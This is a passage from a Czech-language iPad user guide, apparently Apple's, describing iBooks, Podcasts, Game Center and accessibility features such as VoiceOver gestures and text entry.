interaktivním objektem, přejeďte přes něj nebo na něm sevřete či rozevřete prsty. Klepnutím na můžete například spustit prezentaci a poté dalšími klepnutími zobrazovat jednotlivé obrazovky. Rozevřením prstů zobrazíte vybraný prvek na celé obrazovce, Až práci s prvkem ukončíte, můžete jej sevřením prstů zavřít. Studium poznámek a slovníků V některých knihách si můžete prohlédnout všechna zvýraznění a poznámky jako karty v poznámkovém zobrazení. Zobrazení poznámek: Klepněte na . Můžete též: • Zobrazení poznámek podle kapitol: Klepnutím na kapitolu zobrazíte poznámky v ní obsažené. Odznaky v seznamu kapitol značí počet poznámek a zvýraznění v jednotlivých kapitolách. Pokud seznam kapitol nevidíte, klepněte na tlačítko Kapitola. • Prohledání všech poznámek: Zadejte slovo nebo frázi do vyhledávacího pole. Pokud vyhledávací pole nevidíte, klepněte na tlačítko Kapitoly. Klepnutím na kapitolu zobrazíte poznámky v ní obsažené. • Prohlížení poznámek a slovníků na studijních kartách: Klepněte na Studijní karty. Kartami můžete procházet přejetím. Pokud jsou na kartě poznámky označené symbolem , můžete kartu otočit klepnutím. Chcete-li vybrat zvýraznění, které se má zobrazit, nebo karty zamíchat, klepněte na . Pokud kapitola obsahuje slovník pojmů, můžete jej též přidat na kartu. • Odeslání poznámek e-mailem: Klepněte na . Vyberte poznámky, které chcete sdílet, a klepněte na Poslat e-mailem. • Mazání poznámek: Klepněte na . Vyberte poznámky, které chcete smazat, a klepněte na Smazat.Kapitola 23 iBooks 96 Uspořádání poličky Poličku použijte k prohlížení knih a PDF. Své položky můžete také uspořádat do sbírek. Chcete-li knihu přemístit, dotkněte se jí a podržte ji. Chcete-li knihu přemístit, dotkněte se jí a podržte ji. K dispozici v obchodě iBookstore. Dostupnost titulů se může měnit. K dispozici v obchodě iBookstore. Dostupnost titulů se může měnit. Zařazení knihy nebo PDF do sbírky:  Otevřete poličku a klepněte na Upravit. Vyberte položky, které chcete přesunout, a poté klepněte na Přesunout a vyberte sbírku. Zobrazení a správa sbírek: Klepněte na Sbírky. Chcete-li upravit název sbírky, klepněte na Upravit. Integrované sbírky knih a PDF nelze upravovat ani mazat. Řazení poličky: Klepněte na a u dolního okraje obrazovky vyberte způsob seřazení. Smazání položky z poličky: Klepněte na Upravit a poté klepněte na každou knihu nebo PDF, které chcete smazat (tím je zaškrtnete). Klepněte na Smazat. Po dokončení klepněte na Hotovo. Pokud smažete koupenou knihu, můžete ji znovu stáhnout z panelu Purchases v iBookstore. Hledání knihy: Otevřete poličku. Klepnutím na stavový řádek posuňte zobrazení k hornímu okraji obrazovky a klepněte na . Při hledání se vyhledává název knihy a jméno autora. Synchronizace knih a PDF Pomocí iTunes můžete provádět synchronizaci knih a PDF mezi zařízením iPad a počítačem a také nakupovat knihy v iTunes Store. Je-li iPad připojený k počítači, panel Knihy vám umožní vybrat položky k synchronizaci. Také můžete na Internetu vyhledat knihy a PDF ve formátu ePub nechráněné systémem DRM a přidat je do své knihovny iTunes. Synchronizace knihy nebo PDF do zařízení iPad:  V iTunes na počítači použijte příkaz Soubor > Přidat do knihovny a vyberte požadovaný soubor .pdf, .epub nebo .ibooks. Připojte iPad k počítači a synchronizujte jej. Přidání knihy nebo PDF souboru do iBooks bez synchronizace: Pokud nejsou data knihy nebo PDF soubor příliš velká, můžete si je ze svého počítače poslat e-mailem. E-mailovou zprávu poté otevřete na zařízení iPad, dotkněte se přílohy, přidržte na ní prst a v nabídce, která se zobrazí, vyberte volbu „Otevřít v iBooks“.Kapitola 23 iBooks 97 Tisk PDF a zaslání e-mailem Books umožňují odeslat kopii PDF souboru e-mailem a vytisknout celý PDF soubor nebo jeho části na tiskárně podporující AirPrint. Odeslání PDF e-mailem:  Otevřete PDF, klepněte na a vyberte Odeslat dokument. Tisk PDF souboru: Otevřete PDF, klepněte na a vyberte Tisknout. Více informací viz Tisk pomocí funkce AirPrint na stránce 31. Nastavení iBooks: V aplikaci iBooks jsou všechny vaše sbírky, záložky, poznámky a informace o aktuální stránce uloženy a zabezpečeny pomocí Apple ID, takže při čtení knih můžete hladce přecházet mezi všemi svými zařízeními iOS. Při otevření a ukončení aplikace iBooks se ukládají informace o všech vašich knihách. Při otevření a zavření knih jsou rovněž uloženy informace ohledně jednotlivých knih. Zapnutí nebo vypnutí synchronizace:  Otevřete Nastavení > iBooks. Některé knihy mohou přistupovat k videím nebo zvukovému obsahu uloženému na Internetu. Je-li iPad připojen k mobilní datové síti, může si operátor za přehrávání těchto souborů účtovat poplatky. Zapnutí nebo vypnutí online přístupu k videím a zvukovému obsahu: Vyberte Nastavení > iBooks > Internetové audio a video. Změna směru otočení stránky při klepnutí na levý okraj: Otevřete Nastavení > iBooks > Klepnutí na levý okraj.24 98 Zobrazení ovládacích prvků přehrávání Zobrazení ovládacích prvků přehrávání Zobrazení podcastů ve vaší knihovně Zobrazení podcastů ve vaší knihovně Procházení a ukázky nejoblíbenějších epizod Procházení a ukázky nejoblíbenějších epizod Posunutím zobrazíte celou knihovnu. Posunutím zobrazíte celou knihovnu. Klepnutím na podcast zobrazíte dostupné epizody. Klepnutím na podcast zobrazíte dostupné epizody. Smazání podcastu Smazání podcastu Získávání podcastů:   • Procházení celého katalogu:  Klepněte na Katalog a poté klepněte na podcast, který vás zajímá. • Procházení nejoblíbenějších podcastů:  Klepněte na Top stanice (v případě, že toto tlačítko nevidíte, klepněte nejprve na tlačítko Knihovna). Přejetím doleva či doprava změňte kategorii nebo přejetím nahoru či dolů procházejte aktuální kategorii. Klepnutím na podcast přehrajete ukázku poslední epizody, klepnutím na zobrazíte seznam epizod. • Streamování epizody:  Klepněte na kteroukoli epizodu. • Stažení epizody, abyste si ji mohli pustit i v případě, že nejste připojeni k Wi-Fi:  Klepněte na tlačítko stahování u kterékoli epizody. • Přihlášení k odběru podcastu, abyste měli vždy k dispozici poslední epizodu:  Při procházení katalogu zobrazte seznam epizod klepnutím na některý z podcastů a poté klepněte na Odebírat. Pokud jste si již některou epizodu stáhli, klepněte na podcast v knihovně, klepněte na a zapněte volbu Odebírat. • Automatické načtení poslední epizody odebíraného podcastu:  Klepněte na podcast v knihovně, klepněte na a zapněte volbu Stahovat. Pokud přepínač Stahovat nevidíte, ujistěte se, že je zapnutá volba Odebírat. PodcastyKapitola 24 Podcasty 99 Ovládání přehrávání zvuku:  Přejetím směrem nahoru přes grafiku právě přehrávaného podcastu zobrazte všechny ovládací prvky přehrávání. Přetažením přehrávací hlavy přejdete na jiné místo v podcastu. Přetažením přehrávací hlavy přejdete na jiné místo v podcastu. Úprava rychlosti přehrávání. Úprava rychlosti přehrávání. Skok na další epizodu. Skok na další epizodu. Opakování posledních 10 sekund. Opakování posledních 10 sekund. Skok o 30 sekund vpřed. Skok o 30 sekund vpřed. Přehrání předchozí epizody. Přehrání předchozí epizody. Nastavení časovače spánku. Nastavení časovače spánku. Sdílení podcastu. Sdílení podcastu. Přejetím nahoru nebo dolů zobrazíte či skryjete ovládací prvky. Přejetím nahoru nebo dolů zobrazíte či skryjete ovládací prvky. Ovládání přehrávání videa:  Při sledování podcastu klepněte na obrazovku.25 100 V kostce Game Center vám umožňuje hrát své oblíbené hry s přáteli, kteří jsou uživateli iPhonu, iPadu, iPodu touch nebo Macu se systémem OS X Mountain Lion. Chcete-li používat Game Center, musíte být připojeni k Internetu. VAROVÁNÍ:   Důležité informace o předcházení zdravotním problémům způsobeným opakovanými pohyby viz Důležité informace o bezpečnosti na stránce 132. Pozvěte přátele do hry. Pozvěte přátele do hry. Vyberte hru, kterou chcete hrát. Vyberte hru, kterou chcete hrát. Odpovězte na požadavky přátel. Odpovězte na požadavky přátel. Hrajte. Hrajte. Podívejte se, kdo je nejlepší. Podívejte se, kdo je nejlepší. Podívejte se na seznam cílů hry. Podívejte se na seznam cílů hry. Najděte si protihráče. Najděte si protihráče. Přihlášení:  Otevřete Game Center. Pokud nahoře na obrazovce Já vidíte svou přezdívku a fotografii, jste už přihlášeni. V opačném případě zadejte své Apple ID a heslo a poté klepněte na Přihlásit se. Můžete použít stejné Apple ID jako pro iCloud a nákupy v obchodě Apple Store. Chcete-li pro hraní používat jiné Apple ID, klepněte na Vytvořit nový účet. Nákup hry:  Klepněte na Games a poté klepněte na doporučenou hru nebo na Find Game Center Games. Hraní hry:  Klepněte na Hry, vyberte požadovanou hru a klepněte na Hrát hru. Game CenterKapitola 25 Game Center 101 Návrat ke službě Game Center po dohrání hry:  Stiskněte tlačítko plochy a poté klepněte na ikonu Game Center na ploše. Odhlášení:  Klepněte na Já, na banner účtu a potom na Odhlásit se. Při opuštění služby Game Center se nemusíte pokaždé odhlašovat. Hra s přáteli Pozvání přátel ke hře pro více hráčů:  Klepněte na tlačítko Přátelé, vyberte přítele, vyberte hru a klepněte na Hrát. Pokud hra umožňuje nebo vyžaduje účast dalších hráčů, vyberte další hráče, které chcete pozvat, a klepněte na tlačítko Další. Odešlete pozvánku a počkejte, až ji ostatní přijmou. Až budou všichni připraveni, spusťte hru. Pokud přítel není dostupný nebo neodpovídá na vaši pozvánku, můžete klepnout na volbu Automatická hra (a služba Game Center vyhledá dalšího hráče) nebo na Pozvat přítele a pokusit se pozvat jiného přítele. Odeslání žádosti o přátelství:  Klepněte na volbu Přátelé nebo Žádosti, poté klepněte na Přidat přátele a zadejte e-mailovou adresu přítele nebo přezdívku v Game Center. Chcete-li procházet kontakty, klepněte na . Chcete-li přidat více přátel v rámci jedné žádosti, stiskněte za každou adresou Enter. Zaslání výzvy jinému hráči, aby se pokusil překonat vaše výsledky:  Klepněte na bodování nebo úspěch a poté na Vyzvat přátele. Zobrazení her, které hraje váš přítel, a jeho skóre v těchto hrách:  Klepněte na tlačítko Přátelé, na jméno přítele a poté na Hry nebo Body. Zakoupení hry, kterou má váš přítel:  Klepněte na Přátelé a poté na jméno svého přítele. Klepněte na hru v seznamu her svého přítele a poté na cenu u horního okraje obrazovky. Zobrazení seznamu přátel vašeho přítele:  Klepněte na tlačítko Přátelé, na jméno přítele a na volbu Přátelé pod jeho obrázkem. Odstranění přítele:  Klepněte na tlačítko Přátelé, na jméno a na volbu Odstranit. Udržení vaší e-mailové adresy v tajnosti:  V nastavení vašeho účtu ve službě Game Center vypněte volbu Veřejný profil. Viz „Nastavení pro Game Center“ níže. Zákaz hraní her s více hráči nebo zablokování žádostí o přátelství:  Otevřete Nastavení > Obecné > Omezení a vypněte Hry pro více hráčů nebo Přidávání přátel. Pokud jsou přepínače neaktivní, klepněte nejprve nahoře na Zapnout omezení. Ohlášení urážlivého nebo nevhodného chování:  Klepněte na tlačítko Přátelé, na jméno osoby a na Oznámit problém. Nastavení pro Game Center Některé položky nastavení pro Game Center jsou přidruženy k Apple ID, které používáte pro přihlašování. Jiné najdete v aplikaci Nastavení na vašem zařízení iPad. Změna nastavení služby Game Center pro vaše Apple ID:  Přihlaste se pod svým Apple ID, klepněte na Já, klepněte na banner účtu a vyberte Zobrazit účet. Výběr oznámení pro Game Center:  Vyberte Nastavení > Oznámení > Game Center. Pokud se Game Center nezobrazí, zapněte Oznámení. Změna omezení pro Game Center:  Otevřete Nastavení > Obecné > Omezení.26 102 Funkce zpřístupnění iPad obsahuje následující funkce pro usnadnění přístupu: • Čtečka obrazovky VoiceOver • Hlasová asistentka Siri • Zvětšení • Velký text • Inverzní barvy • Předčítání výběru • Předčítání autokorektur • Monofonní zvuk a stereováha • Přiřazení tónů • Asistovaný přístup • AssistiveTouch • Podpora pro braillský řádek • Přehrávání obsahu skrytých titulků Zapnutí funkcí zpřístupnění pomocí iPadu:  Vyberte Nastavení > Obecné > Zpřístupnění. Zapnutí funkcí zpřístupnění pomocí iTunes:  Připojte iPad k počítači a v seznamu zařízení v iTunes vyberte položku iPad. Klikněte na Souhrn a poté na Nastavit Univerzální přístup v dolní části obrazovky Souhrn. Další informace o funkcích zpřístupnění v iPadu najdete na adrese www.apple.com/accessibility. VoiceOver VoiceOver nahlas popisuje, co se objeví na obrazovce, takže můžete iPad používat, i když jej nevidíte. VoiceOver vás informuje o každé položce na obrazovce, kterou vyberete. Vybraná položka je vždy orámována kurzorem VoiceOver (černý obdélník) a funkce VoiceOver vysloví název položky nebo ji popíše. Když se dotknete obrazovky nebo po ní potáhnete prstem, uslyšíte informace o jednotlivých položkách na obrazovce. Když vyberete text, VoiceOver jej přečte. Pokud zapnete funkci Číst nápovědu, VoiceOver vám může přečíst název položky nebo pokyny, například „otevřete poklepáním“. K ovládání položek na obrazovce, jako jsou tlačítka a odkazy, slouží gesta popsaná v tématu Seznámení s gesty VoiceOver na stránce 105. ZpřístupněníKapitola 26 Zpřístupnění 103 Pokud otevřete novou obrazovku, VoiceOver přehraje zvuk a poté vybere a přečte první prvek na obrazovce (obvykle položku v levém horním rohu). VoiceOver vás též informuje o změně orientace obrazovky na výšku nebo na šířku a o jejím uzamčení nebo odemčení. Poznámka:  VoiceOver používá jazyk vybraný v nastavení Národní volby. Na toto nastavení má vliv i výběr místního formátu (Nastavení > Obecné > Národní volby > Místní formát). VoiceOver je k dispozici v mnoha jazycích, ne však ve všech. Základy práce s VoiceOverem Důležité:  VoiceOver mění gesta používaná k ovládání iPadu. Pokud je funkce VoiceOver zapnutá, musíte iPad ovládat gesty VoiceOver – to platí i pro vypnutí funkce VoiceOver a návrat do standardního režimu. Zapnutí nebo vypnutí funkce VoiceOver:  Vyberte Nastavení > Obecné > Zpřístupnění > VoiceOver. Můžete též nastavit zapnutí a vypnutí funkce VoiceOver trojím stisknutím tlačítka plochy. Viz Trojí stisknutí tlačítka plochy na stránce 111. Orientace na obrazovce:  Táhněte prst přes obrazovku. VoiceOver přečte název každé položky, které se dotknete. Chcete-li vybranou položku opustit, zvedněte prst. • Výběr položky:  Klepněte na položku nebo při tažení přes obrazovku zvedněte na položce prst. • Výběr následující nebo předchozí položky:  Švihněte jedním prstem doprava nebo doleva. Položky jsou seřazeny zleva doprava a shora dolů. • Výběr položky nad nebo pod aktuální položkou:  Pomocí rotoru zapněte vertikální navigaci a poté švihněte jedním prstem nahoru nebo dolů. • Výběr první nebo poslední položky na obrazovce:  Švihněte nahoru nebo dolů čtyřmi prsty. • Výběr položky podle názvu:  Trojím klepnutím dvěma prsty kamkoli na obrazovku otevřete výběr položek. Poté zadejte název do pole hledání nebo procházejte seznam v abecedním pořadí šviháním doprava nebo doleva, případně klepněte na index tabulky vpravo od seznamu a švihnutím nahoru nebo dolů rychle listujte seznamem položek. • Změna názvu vybrané položky, abyste ji snáze našli:  Poklepejte kamkoli na obrazovku dvěma prsty a podržte je na místě. • Čtení textu vybrané položky:  Nastavte ovladač rotoru na znaky nebo slova a poté švihněte jedním prstem dolů nebo nahoru. • Zapnutí nebo vypnutí čtení nápovědy:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver. • Zapnutí hláskování:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Použít hláskování. • Čtení celé obrazovky odshora:  Švihněte nahoru dvěma prsty. • Čtení od aktuální položky po dolní okraj obrazovky:  Švihněte dolů dvěma prsty. • Zastavení čtení:  Jednou klepněte dvěma prsty. Dalším poklepáním dvěma prsty navážete čtení. Čtení bude automaticky pokračovat po výběru další položky. • Vypnutí zvuku VoiceOveru:  Poklepejte třemi prsty. Následným poklepáním třemi prsty opět zapnete zvuk. Chcete-li vypnout pouze zvuky funkce VoiceOver, přepněte přepínač hlasitého a tichého režimu do polohy tichého režimu. Pokud je připojena externí klávesnice, můžete též vypnout nebo zapnout zvuk funkce VoiceOver stiskem klávesy Ctrl na klávesnici.Kapitola 26 Zpřístupnění 104 Úprava hlasu použitého ke čtení:  Vlastnosti hlasu, kterým VoiceOver čte, můžete změnit tak, abyste mu lépe rozuměli: • Změna hlasitosti čtení:  Použijte tlačítka hlasitosti na iPadu. Také můžete přidat položku hlasitosti na rotor a nastavovat ji přejížděním nahoru a dolů; viz Použití ovladače rotoru funkce VoiceOver na stránce 106. • Změna rychlosti čtení:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver a tažením nastavte jezdec Rychlost čtení. Také můžete přidat položku Rychlost čtení na rotor a nastavovat ji přejetím nahoru nebo dolů. • Použití přeladění:  VoiceOver používá vyšší tón hlasu při čtení první položky ve skupině (jako je seznam nebo tabulka) a nižší tón hlasu při čtení poslední položky ve skupině. Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Použít přeladění. • Změna jazyka na iPadu:  Otevřete Nastavení > Obecné > Národní volby > Jazyk. V některých jazycích je výslovnost VoiceOveru ovlivněna volbou Nastavení > Obecné > Národní volby > Místní formát. • Změna výslovnosti:  Nastavte rotor na Jazyk a přejeďte nahoru nebo dolů. Jazyk je na rotoru k dispozici jen tehdy, vyberete-li více než jednu výslovnost. • Výběr výslovností na jazykovém rotoru:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Jazykový rotor. Pozici jazyka v seznamu změníte tažením nahoru nebo dolů. • Změna základního hlasu pro čtení:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Použít kompaktní hlas. Používání iPadu s funkcí VoiceOver Odemknutí iPadu:  Vyberte jezdec odemčení a poklepejte na obrazovku. Aktivování vybrané položky „klepnutím“:  Poklepejte kdekoliv na obrazovce. „Poklepání“ na vybranou položku:  Třikrát klepněte kdekoliv na obrazovce. Nastavení polohy jezdce:  Vyberte jezdec a poté švihněte jedním prstem nahoru nebo dolů. Použití standardního gesta při zapnutém VoiceOveru:  Poklepejte a podržte prst na obrazovce. Při přechodu do režimu standardních gest zazní sekvence tónů. Režim zůstane aktivní, dokud nezvednete prst. Poté bude obnoven režim gest VoiceOveru. Posuv seznamu nebo části obrazovky:  Švihněte nahoru nebo dolů třemi prsty. Pokud stránkujete seznamem, VoiceOver přečte zobrazené rozmezí položek (například „zobrazeny řádky 5 až 10“). Seznam též můžete místo stránkování plynule posouvat. Poklepejte a přidržte. Poté, co uslyšíte sekvenci tónů, posouvejte seznam pohybem prstu nahoru nebo dolů. Posuv se zastaví při zvednutí prstu. • Plynulé posouvání seznamu:  Poklepejte a přidržte. Poté, co uslyšíte sekvenci tónů, posouvejte seznam pohybem prstu nahoru nebo dolů. Posuv se zastaví při zvednutí prstu. • Použití indexu seznamu:  Některé seznamy mají na pravé straně abecední index. Index nelze vybrat švihnutím mezi položkami. Chcete-li vybrat index, musíte se jej přímo dotknout. Je-li index vybraný, můžete v něm navigovat švihnutím nahoru nebo dolů. Můžete též poklepat a sklouznout prstem nahoru nebo dolů. • Změna pořadí v seznamu:  V některých seznamech, například u nastavení Rotoru a Jazykového rotoru v nastavení Zpřístupnění, můžete změnit pořadí prvků. Vyberte tlačítko vpravo od položky, poklepejte na ně a přidržte je, dokud nezazní zvuk, a poté táhněte nahoru nebo dolů. VoiceOver přečte přesunutou položku v závislosti na směru tažení.Kapitola 26 Zpřístupnění 105 Změna uspořádání plochy:  Na ploše vyberte ikonu, kterou chcete přesunout. Poklepejte na ikonu, přidržte ji a poté ji přetáhněte. VoiceOver bude při tažení ikony oznamovat čísla řádku a sloupce. Až bude ikona na požadovaném místě, uvolněte prst. Poté můžete táhnout další ikony. Pokud chcete přesunout nějakou položku na jinou plochu, přetáhněte ji na levý nebo pravý okraj obrazovky. Po dokončení stiskněte tlačítko plochy . Čtení informací o stavu iPadu:  Chcete-li si poslechnout informace o čase, výdrži baterie, síle Wi-Fi signálu a další, klepněte na horní okraj obrazovky. Čtení oznámení:  Otevřete Nastavení > Obecné >Zpřístupnění > VoiceOver a zapněte volbu Předčítat oznámení. Oznámení, včetně příchozích textových zpráv, jsou čtena, jakmile se objeví, a to i v případě, že je iPad uzamčený. Nepřijatá oznámení jsou po odemčení iPadu zopakována. Zapnutí a vypnutí clony obrazovky:  Třikrát klepněte třemi prsty. Při zapnuté cloně obrazovky je obsah obrazovky aktivní, i když je displej vypnutý. Seznámení s gesty VoiceOver Pokud je zapnutá funkce VoiceOver, standardní gesta poskytují odlišné výsledky. Pomocí těchto a některých dalších gest se můžete pohybovat po obrazovce a ovládat jednotlivé vybrané položky. Gesta VoiceOver používají pro klepnutí nebo švihnutí dva nebo tři prsty. Pro dosažení optimálních výsledků při použití gest se dvěma a třemi prsty se uvolněte a nechte při doteku na obrazovce mezi prsty mezery. Pro zadání gest VoiceOver můžete použít různé techniky. Například můžete klepnout dvěma prsty pomocí dvou prstů jedné ruky nebo jednoho prstu z obou rukou. Můžete též použít palce. Mnoha uživatelům zvláště vyhovuje praktické gesto „rozděleného klepnutí“: místo výběru položky poklepáním se můžete položky dotknout a přidržet ji jedním prstem a poté klepnout na obrazovku jiným prstem. Zkuste různé techniky a vyberte si tu, která vám nejlépe vyhovuje. Pokud vám gesta nefungují, zkuste je zrychlit (zvláště poklepání a švihnutí). Při švihnutí rychle přejeďte prstem nebo prsty po obrazovce. Při zapnuté funkci VoiceOver se zobrazí tlačítko Cvičení gest VoiceOver, které vám umožní procvičit gesta VoiceOver před použitím. Procvičování gest VoiceOveru:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver a poté klepněte na Cvičení gest VoiceOver. Po procvičení klepněte na Hotovo. Pokud nevidíte tlačítko Cvičení gest VoiceOver, ujistěte se, že je zapnutá funkce VoiceOver. Následuje souhrn klíčových gest VoiceOver: Navigace a čtení • Klepnutí:  Přečtení položky. • Přejetí doprava nebo doleva:  Výběr následující nebo předchozí položky. • Přejetí nahoru nebo dolů:  Závisí na nastavení ovladače rotoru. Viz Použití ovladače rotoru funkce VoiceOver na stránce 106. • Klepnutí dvěma prsty:  Zastavení čtení aktuální položky • Přejetí dvěma prsty nahoru:  Přečtení všech položek od horního okraje obrazovky • Přejetí dvěma prsty dolů:  Přečtení všech položek od aktuálního místa • „Setření“ dvěma prsty:  Trojím rychlým pohybem dvou prstů tam a zpět (ve tvaru písmene „z“) zavřete výstrahu nebo se vrátíte na předchozí obrazovku. • Přejetí třemi prsty nahoru nebo dolů:  Posouvání po stránkáchKapitola 26 Zpřístupnění 106 • Přejetí třemi prsty doprava nebo doleva:  Přechod na následující nebo předchozí stránku (například na plochu, stránku Akcie nebo Safari) • Klepnutí třemi prsty:  Hlasové oznámení dalších údajů, například pozice v seznamu nebo informace o tom, zda je vybrán text. • Klepnutí čtyřmi prsty na horní okraj obrazovky:  Výběr první položky na stránce • Klepnutí čtyřmi prsty na dolní okraj obrazovky:  Výběr poslední položky na stránce Aktivace • Poklepání:  Aktivace vybrané položky • Trojí klepnutí:  Poklepání na položku • Rozdělené klepnutí:  Alternativa k výběru položky a jejímu aktivování poklepáním. Dotkněte se položky jedním prstem a poté ji aktivujte klepnutím na obrazovku dalším prstem. • Poklepání a přidržení (1 sekundu) + standardní gesto:  Použití standardního gesta Gesto poklepání a přidržení sdělí iPadu, že má interpretovat následující gesto jako standardní. Můžete například poklepat a přidržet a poté bez zvednutí prstu přepnout tažením prstu některý přepínač. • Poklepání dvěma prsty:  Spuštění nebo pozastavení přehrávání v aplikacích Hudba, Videa, Diktafon a Obrázky. Pořízení snímku v aplikaci Fotoaparát. Spuštění nebo pozastavení záznamu v aplikacích Fotoaparát a Diktafon Spuštění nebo zastavení stopek • Poklepání dvěma prsty a přidržení:  Přejmenování vybrané položky. • Trojí klepnutí dvěma prsty:  Otevření výběru položek • Poklepání třemi prsty:  Vypnutí nebo zapnutí zvuku funkce VoiceOver • Trojí klepnutí třemi prsty:  Zapnutí a vypnutí clony obrazovky Použití ovladače rotoru funkce VoiceOver Pomocí rotoru určujete, co se stane, když při zapnutém VoiceOveru švihnete nahoru nebo dolů. Ovládání rotoru:  Otočte na obrazovce iPadu dvěma prsty kolem bodu mezi nimi. Změna voleb zahrnutých do rotoru:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Rotor a vyberte volby, které chcete mít prostřednictvím rotoru k dispozici. Dostupné polohy rotoru a jejich funkce závisí na tom, co děláte. Čtete-li například e-mail, můžete pomocí rotoru švihnutím nahoru nebo dolů přepínat mezi režimy čtení textu po slovech nebo po znacích. Při prohlížení webové stránky můžete rotor nastavit na čtení veškerého textu (po slovech nebo po znacích) nebo přecházení jen mezi položkami určitého typu, například mezi záhlavími nebo odkazy.Kapitola 26 Zpřístupnění 107 Zadávání a úpravy textu pomocí funkce VoiceOver K zadávání textu do upravitelného textového pole můžete používat klávesnici na obrazovce nebo externí klávesnici připojenou k iPadu. Zadání textu:  Vyberte upravitelné textové pole, poklepáním zobrazte kurzor a klávesnici na obrazovce a poté zadejte požadované znaky. • Standardní psaní:  Vyberte znak na klávesnici přejetím prstem doleva nebo doprava a poklepáním tento znak zadejte. Také můžete vybrat znak tažením prstu po klávesnici, přidržet jej jedním prstem a klepnutím na obrazovku dalším prstem jej zadat. VoiceOver přečte znak při výběru a ještě jednou po zadání. • Dotykové psaní:  Dotykem vyberte klávesu na klávesnici a poté zvednutím prstu zadejte znak. Pokud vyberete chybný znak, pohybujte prstem po klávesnici, dokud nevyberete správný znak. VoiceOver přečte při doteku znak na každé klávese, ale nezadá jej, dokud nezvednete prst. Dotykové psaní funguje pouze na klávesách, které zadávají text. Pro ostatní klávesy, jako je Shift, Smazat a Return, použijte standardní psaní. • Výběr standardního nebo dotykového psaní:  Při zapnuté funkci VoiceOver a vybrané klávese na klávesnici vyberte na rotoru Režim psaní a přejeďte prstem nahoru nebo dolů. Pohyb kurzoru:  Přejetím nahoru nebo dolů přesunete kurzor vpřed nebo zpět v textu. S užitím rotoru nastavte posun kurzoru po znacích, po slovech nebo po řádcích. VoiceOver přehraje při pohybu kurzoru zvuk a přečte znak, slovo nebo řádek, přes které se kurzor přesouvá. Při pohybu vpřed po slovech je kurzor umístěn vždy na konec slova před mezeru nebo interpunkční znaménko za slovem. Při pohybu vzad je kurzor umístěn na konec předchozího slova před mezeru nebo interpunkční znaménko za slovem. Přesunutí kurzoru za interpunkční znaménko na konci slova nebo věty:  Pomocí rotoru přepněte zpět do režimu znaků. Při přesouvání kurzoru po řádcích přečte VoiceOver každý řádek pod kurzorem. Při přesunu vpřed je kurzor umístěn na začátek následujícího řádku (vyjma konce odstavce, kde je kurzor umístěn na konec právě čteného řádku). Při pohybu zpět je kurzor umístěn na začátek právě čteného řádku. Změna odezvy při psaní:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Odezva psaní. Použití hláskování jako odezvy při psaní:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Použít hláskování. Text bude čten znak po znaku. VoiceOver nejprve přečte znak a pak vysloví příslušné slovo z hláskovací tabulky, například „f“ a pak „František“. Smazání znaku:  Vyberte klávesu a poklepejte nebo použijte rozdělené klepnutí. Tento postup je nutný i při dotykovém psaní. Chcete-li smazat více znaků, přidržte klávesu Smazat a jednou klepněte dalším prstem na obrazovku pro každý znak, který chcete smazat. VoiceOver přečte znak, který mažete. Pokud je zapnuta volba Použít přeladění, funkce VoiceOver přečte mazané znaky nižším tónem hlasu. Výběr textu:  Nastavte rotor na Úpravy, přejetím nahoru nebo dolů vyberte funkci Vybrat nebo Vybrat vše a poklepejte. Vybrat vybere při poklepání slovo nejblíže kurzoru. Vybrat vše vybere celý text. Chcete-li rozšířit nebo zúžit výběr, použijte gesto rozevření nebo sevření prstů. Vyjmutí, zkopírování nebo vložení:  Ujistěte se, že je rotor nastavený do režimu úprav. Vyberte text, švihněte nahoru nebo dolů - tím vyberete Vyjmout, Kopírovat nebo Vložit - a poklepejte. Odvolání akce:  Zatřeste s iPadem, přejetím doleva nebo doprava vyberte akci, kterou chcete vzít zpět, a poté poklepejte.Kapitola 26 Zpřístupnění 108 Zadání písmene s diakritikou:  V režimu standardního psaní vyberte základní znak a poklepejte a přidržte, dokud nezazní zvuk, který vás informuje o zobrazení alternativních znaků. Tažením doleva nebo doprava vyberete a uslyšíte jednotlivé volby. Uvolněním prstu zadáte aktuální výběr. Změna jazyka klávesnice:  Nastavte rotor na Jazyk a přejeďte nahoru nebo dolů. Chcete-li použít jazyk zadaný v Národních volbách, vyberte výchozí jazyk. Jazykový rotor se zobrazí v případě, že vyberete v nastavení více jazyků (Nastavení > Obecné > Zpřístupnění > VoiceOver > Jazykový rotor). Použití funkce VoiceOver se Safari Když prohledáváte web pomocí Safari se zapnutou funkcí VoiceOver, Výsledky hledání na rotoru vám umožní slyšet seznam doporučených zadání pro hledání. Hledání na webu:  Vyberte pole hledání, začněte zadávat hledanou položku a poté můžete přejetím doprava nebo doleva procházet seznam navrhovaných výrazů pro hledání. Poté poklepáním na obrazovku vyhledejte vybraný text na Internetu. Nastavení voleb rotoru pro procházení webu:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Rotor. Klepnutím vyberete volby nebo zrušíte jejich výběr, tažením nahoru změníte pozici položky. Vynechání obrázků při navigaci:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Navigovat v obrázcích. Vynechat můžete buď všechny obrázky, nebo jen obrázky bez popisů. Omezení počtu rušivých prvků na stránce pro snadnější čtení a navigaci:  V adresním poli Safari použijte položku Čtečka (není k dispozici pro všechny stránky). Použití funkce VoiceOver s Mapami Pomocí funkce VoiceOver můžete zvětšovat a zmenšovat zobrazenou mapu, vybírat špendlíky a načítat informace o místech. Prozkoumání mapy:  Táhněte prstem po obrazovce nebo se přejetím doleva či doprava přesuňte na jinou položku. Zvětšení nebo zmenšení:  Vyberte mapu, nastavte rotor na Zvětšení a poté přejeďte jedním prstem nahoru nebo dolů. Posouvání mapy:  Přejeďte třemi prsty. Procházení viditelných zájmových bodů:  Nastavte rotor na Body zájmu a poté přejeďte jedním prstem nahoru nebo dolů. Sledování silnice:  Podržte prst na silnici, dokud neuslyšíte „pauza na sledování“ a poté posouvejte prst po silnici pomocí navigačního zvuku. Když se začnete od silnice vzdalovat, zvuk bude znít ve vyšších polohách. Výběr špendlíku:  Dotkněte se 